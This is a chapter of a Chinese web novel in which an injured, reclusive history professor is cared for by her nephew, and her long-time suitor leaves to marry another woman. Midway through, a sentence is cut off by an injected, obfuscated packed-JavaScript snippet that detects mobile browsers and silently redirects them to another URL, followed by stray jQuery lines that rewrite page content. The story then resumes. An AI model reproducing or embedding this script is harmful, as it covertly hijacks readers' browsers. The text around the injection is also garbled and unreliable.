莫长萦爬了一次娘娘山，摔得髌骨骨折，经手术治疗后，还存在膝关节粘连，按医嘱至少需要四个月的静养，她心系祖国大学教育大计，抱着“只要不死，就不下火线”的坚定意志，拄着拐重返讲台，不过在学校有领导和同事帮衬，到了家孤身只影，只有两只橘猫陪伴左右，这样的中年生活，是二十岁时的莫长萦如何都想不到的。
在她春心萌动的年龄，身边的人红配红，黑招黑，婚恋只为革命，她却偷藏着黑格尔的《法哲学原理》和《美学演讲录》，暗羡小资产阶级恋爱的香风邪气，黑格尔说，只折磨自己的是单相思，只折磨他人的是虐待狂，既折磨他人又折磨自己的是爱情，她想要的正是这样的爱情。
她不顾父母反对，和“□□分子”陈怀礼好上了，两个正青春的年轻人，就像沸水与烈火，只要相遇瞬间就能激起热烈的情爱与冲突，又似八字相克，一个在鸡同鸭讲，一个永远方枘圆凿，初恋无须父亲棒打鸳鸯就自生自灭了。
失恋后，后来的丈夫开始追求她，攻势和他的枪法一样迅猛，他高大英俊，有些闪着星星的桃花眼，她雀跃不已，以为等来了骑士之爱，欢欢喜喜结了婚，可婚后不到半年，他的真面目就原形毕露，根本没有骑士精神里的谦卑和牺牲，只有对她的威逼和束缚，对荣誉的极端追求。他剥夺她的人身自由，禁锢她的社交，在私密的地方用卑劣的方式折磨她，只因她看透他的刻毒和贪婪，不肯做个臣服的妻子。
枕边人的丑恶与背叛，带来的伤痛比外人给的重一万倍，她对人类信任的崩塌就是从丈夫开始的，除了父母家人，工作中必要的的同事和学生，她不想再和任何人建立私交。哥嫂曾担心她独居，哪天不小心跌倒或晕倒，得不到及时救助而与世长辞，给她请了个保姆，她怜悯那保姆死了丈夫孤苦伶仃，待其如姐妹，却在某天早上发现对方偷走了母亲赠她的项链，她找回了项链，赶走了保姆，发誓再不准人走进她的房间。
没有保姆，她又不肯回娘家，受伤后的生活就成了难题，她带过孩童时的莫道言，两人有些感情基础，而莫道言自律守时，不多给她时间，也不费她的时间，又冷傲寡言，愿听她的免费历史课，是个打着灯笼都找不到的陪护对象。
养伤的忧愁，因为莫道言的到来减轻六成。
但以上都是姑姑的一面之词，并不完全切合莫道言的心境，他过来照顾姑姑，是因为姑姑性情孤僻且喜怒无常，除了他不接受别人，若放任姑姑一个人生活，有个三长两短，奶奶势必伤心欲绝，而他不在她教学时打断，是为避免横生枝节，将花在这儿的时间拉长。对于姑姑以为他是被史学的魅力所折服的假象，他很快用具体事例打破，为让姑姑得到充分休息，尽快恢复到最佳状态，他建议姑姑停课三个月，前往疗养院暂住，那里条件优良，既能提供专业的医疗护理，又能满足她对安静康复环境的需求，远比他这个半吊子保姆可靠得多。
莫长萦对他的提议感到难以置信：“你是要我离岗停课三个月？”
“磨刀不误砍柴工，养精蓄锐才能更好地投入教学。”
“我的课程怎么办？”
“有学校总不会停摆，其他教师代课，或是您回来后补课，三个月而已。”
“三个月，而已？如果是高等数学或大学物理，你还会这么说吗？不如一吐为快，在你眼里历史学不过是可有可无的点缀，那些考点临时抱佛脚就能应付，停课与否根本不影响学生们的前途，对社会的进步更是毫无促进，道言，我真替你太太感到遗憾，你们在床上也从不谈论文史哲吗？就只是机械地做……"
莫道言及时打断姑姑的思维发散：“莫教授，请就事论事。”
“我很认真地在说，和一个技术至上主义者生活该多乏味，你太太没有抱怨过？”
“我的家事容后再议，您的何教授到了。”
一位提着两袋补品的中年男子站在姑姑家楼下，那是莫长萦的同事何禀，专攻历史文化遗产研究，何教授中等身材，穿着一件素色的衬衫，搭配深色的西裤，外罩一件略显旧色的羊毛开衫，头发梳理得一丝不苟，虽有几缕银丝掺杂其中，却并不显老态，反而添了几分儒雅。
莫长萦虽不及春秋时期倾国倾城的夏姬，却也是武陵街上家喻户晓的美人，自古红颜多故事，美貌易生波，除去被父兄赶走的几段露水情缘，真正刻骨铭心的感情有三段，与陈怀礼的初萌情愫，与前夫的爱恨纠葛，以及与何禀前期的落花有意流水无情。后来靠着何教授的锲而不舍，有了如今的郎有情妾有意，然而令何禀始料未及的是，莫长萦只愿恋爱，不愿再步入婚姻，就像她会允许何教授走进家门，却不从留他吃饭，把他变成家人。
莫长林曾劝妹妹再嫁，何教授比她前夫稳当得多，是可以托付终身的，何况人家等了她十余载，试问普天之下有几个男人做得到？不必一朝被蛇咬十年怕井绳，穷凶极恶之徒毕竟是少数。
莫长萦给哥哥讲《全球通史》中的文明更迭理论，古典文明的终结为新的文明形态奠定了基础，可一段旧爱的终结，并不能为新欢奠定基础，诚如金岳霖，生命中也有三个重要的女人呢，她都做不到从一而终，又怎能认定何禀将她视为唯一？
其实她早不愿霸占这虚妄的“唯一”名分，成为何禀追求幸福的枷锁，情至浓时相守，爱淡时分离，本是自然之理，若强求不放，只怕最后连相看两厌都算侥幸，酿成怨憎才最可悲。她跳过火坑，体会过在炼狱里求生不得求死不能的煎熬，勇气早在曾经那场焚心烈火中烧成了灰烬。
爱是把双刃剑，没有是遗憾，但错了会献祭生命。
父亲给的第二次生命，她不能再交付于人。
何教授这次没跨过那道门槛，把东西给了莫道言，问了莫长萦的伤情，嘱托他好好照顾，最后请他转告莫长萦，这是其最后一次登门，以后不会再来，他终究是个俗人，需要过俗世的生活，家里为他安排了一门亲事，对方是个未出阁的老姑娘，隔壁镇的小学校长，他们见过面了，有一些共同爱好，都爱吃咸豆腐脑，对《高山下的花环》百看不厌，婚礼定在了下个月初。
莫道言把何教授的话逐字逐句地复述给姑姑，语气词都包含在内：“想留他在家里吃饭吗？想的话我替你去追他回来。”
莫长萦站在窗前，看着何禀渐渐模糊的身影，直至完全被夕晖裹藏。她提及李泽厚《美的历程》中对魏晋风度的阐释，以陶潜的“超然世外，冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976916|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡平和”与阮籍的“忧愤无端，慷慨任气”为两种艺术境界最为典型，她自陈介于二者之间，既超然物外，又慷慨任气，然后以冷峻而通透的语调，回应着莫道言对她情感的关切。
“追回来又如何？莫非还要我嫁为人妇，重蹈婚姻覆辙？抑或你担心何禀离去，我会寻短见？道言，不必将饱经情伤之人想象得仍对爱抱有幻想，自与何禀确立关系之初，我便言明他是自由的，能为我驻足，亦能为他人离去，这本就是预料中的结局，我有何不能释怀？只是我非草木，一只橘猫走失了，心都会空一阵，何况是人，但这只是云烟过客，你的恻隐之心，还是留给需要的人吧。”
“恻隐心不要，饭呢，晚饭想吃点什么？”
“唉，你做的鸡肉包味同嚼蜡。”
莫道言做西餐和简单的家常菜手到擒来，做包子是赶鸭子上架：“我明天从翠香楼给你带葱肉包。”
“翠香楼的肉包又太油，不过算了，聊胜于无。”
莫道言写下两个号码递给姑姑：“稍晚我要回公司，有事就打这个电话，另一个是新家的号码，若公司打不通，就打家里。”
莫长萦将纸条折成方方正正的小块，压在电话机座下：“一个电话号码，公司竟排在家前面，可见家在你心里的分量，一个女人，要的不仅是物质关怀，更渴望心灵相通，道言，多给她些精神上的慰藉，做你的太太，不是件轻松的差事。”
“我试试，如果她需要的话。”
-------
当天晚上，莫道言在回公司前，先回了趟家，佟语非为他开的门，在他进来后，说配了新钥匙，将他之前给她的那把还了回来，钥匙上多了一串手编的红色小海豚挂件的钥匙扣，得知他从姑姑家来，便关切地问起姑姑的状况，听他说姑姑想吃肉包，翠香楼的包子又不合胃口，自动请缨为姑姑包包子解馋。
他劝她量力而行，给姑姑做吃的并非她的义务，况且姑姑嘴又刁，忙活半天很可能劳而无功。
她和婉地说道：“姑姑是你的家人，就是我的家人，我只想给姑姑多个选择，没想要什么功，我明天下班就做。”
莫道言回家主要是为取换洗的衣物，顺便洗个澡，姑姑家也有浴室，但每次他在里面洗澡，姑姑总会在门外给他讲明史，尤其是洪武帝朱元璋为巩固统治而制造的血腥惨案，姑姑的讲述生动逼真，那些血淋淋的场景常常让他噩梦再现。去年东德政局剧变，政府宣布开放柏林墙和两国边界，引发了前所未有的难民潮，大量难民涌入西德，他曾去帮导师料理庄园，在地窖里亲眼目睹了被老鼠啃食的难民尸体，惨状令他永生难忘，以致于他每次洗澡都极为仓促，以尽快逃离那些挥之不去的阴影。
今晚在自己家，门外不再有人上课，他沐浴完毕，通体舒泰，走出浴室，只见换洗衣物已整齐叠放在沙发上，保温杯里新添的热水正冒着袅袅白雾，旁边还摆着一盒精心剥好的坚果，里面有杏仁，腰果和花生，都是熬夜时补脑的佳品。
若他动作快些，一分钟内就能换好鞋，拎起东西出门。
太太名花解语，他也不能怠慢，因而拎了拎包裹又放了回去，对着房内的佟语非道：“我晚上留下来陪你。”